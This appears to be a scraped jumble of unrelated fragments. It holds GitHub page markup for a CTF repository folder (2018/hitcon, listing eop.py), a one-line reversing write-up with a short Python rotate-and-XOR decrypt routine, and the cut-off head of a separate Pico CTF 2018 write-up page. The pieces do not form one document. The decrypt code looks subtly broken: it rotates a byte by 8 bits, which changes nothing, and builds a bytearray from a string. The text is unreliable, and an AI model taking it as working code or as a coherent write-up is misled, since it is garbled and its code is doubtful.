3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/5unKn0wn/ctfs/refs" cache-key="v0:1495436298.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="NXVuS24wd24vY3Rmcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/5unKn0wn/ctfs/refs" cache-key="v0:1495436298.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="NXVuS24wd24vY3Rmcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfs</span></span></span><span>/</span><span><span>2018</span></span><span>/</span>hitcon<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfs</span></span></span><span>/</span><span><span>2018</span></span><span>/</span>hitcon<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/5unKn0wn/ctfs/tree-commit/9b84dc721f0b119f6552257f75b1d97a8fa12de7/2018/hitcon" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/5unKn0wn/ctfs/file-list/master/2018/hitcon"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>eop.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
Just reverse the operation ```py#!/usr/bin/env pythonfrom pybitrot import ror8, rol8 def decrypt(buf): out = bytearray() for x in buf: a = rol8(x, 8) ^ 0x16 b = ror8(a, 4) out.append(b) return out def main(): buf = bytearray("\x11\x80\x20\xe0\x22\x53\x72\xa1\x01\x41\x55\x20\xa0\xc0\x25\xe3\x35\x40\x55\x30\x85\x55\x70\x20\xc1") rs = decrypt(buf) print(bytes(rs)) if __name__ == '__main__': main()```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-write-ups/Pico CTF 2018/sword at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="E4E3:68DA:20BAB258:21B79C29:641225AA" data-pjax-transient="true"/><meta name="html-safe-nonce" content="b7cf74a688b516e5292d319fe0cae24e185663838dbf17d15bf230d84c752b67" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFNEUzOjY4REE6MjBCQUIyNTg6MjFCNzlDMjk6NjQxMjI1QUEiLCJ2aXNpdG9yX2lkIjoiNjAxOTg0NzQ2MjQ5NTMzMTc1NCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="4391edbe510229a86b2716b3fd338f503bdac5fed8acb394631b27453c72b196" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta 